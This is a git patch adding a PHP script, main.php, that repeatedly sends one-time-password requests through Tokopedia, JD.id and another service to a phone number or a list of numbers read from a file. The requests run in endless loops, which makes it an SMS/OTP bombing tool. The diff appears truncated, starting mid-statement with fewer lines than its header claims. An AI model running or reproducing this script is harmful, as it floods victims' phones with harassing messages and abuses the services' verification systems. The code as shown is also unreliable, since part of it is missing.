From aa7738a84f316c2555c05315ed5c12fa6eaf3032 Mon Sep 17 00:00:00 2001 From: Cvar1984 Date: Fri, 6 Dec 2019 01:57:56 +0700 Subject: [PATCH] autoload --- main.php | 73 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 main.php diff --git a/main.php b/main.php new file mode 100644 index 0000000..82b9aed --- /dev/null +++ b/main.php @@ -0,0 +1,73 @@ +sendOtp((int)$argv[1], 'tokopedia'); + while (1) { + fprintf(STDOUT, '%sSend OTP to %s[%s]%s%s', $G, $Y, $argv[1], $X, PHP_EOL); + $bom->sendOtp((int)$argv[1], 'jdid'); + $bom->sendOtp((int)$argv[1], 'phd'); + } + } else if (file_exists($argv[1])) { + $argv[1] = file_get_contents($argv[1]); + $argv[1] = trim($argv[1], " \t\n\r\0\x0B"); //remove whitespace + $argv[1] = explode("\n", $argv[1]); + $count = sizeof($argv[1]); + while (1) { + for ($x = 0; $x < $count; $x++) { + fprintf(STDOUT, '%sSend OTP to %s[%s]%s%s', $G, $Y, $argv[1][$x], $X, PHP_EOL); + $bom->sendOtp((int)$argv[1][$x], 'tokopedia'); + $bom->sendOtp((int)$argv[1][$x], 'jdid'); + $bom->sendOtp((int)$argv[1][$x], 'phd'); + } + } + } else { + throw new Exception('File not exist ' . $argv[1]); + } +} catch (Exception $e) { + fprintf(STDERR, "%s%s%s\n", $RR, $e->getMessage(), $X); + exit(1); +}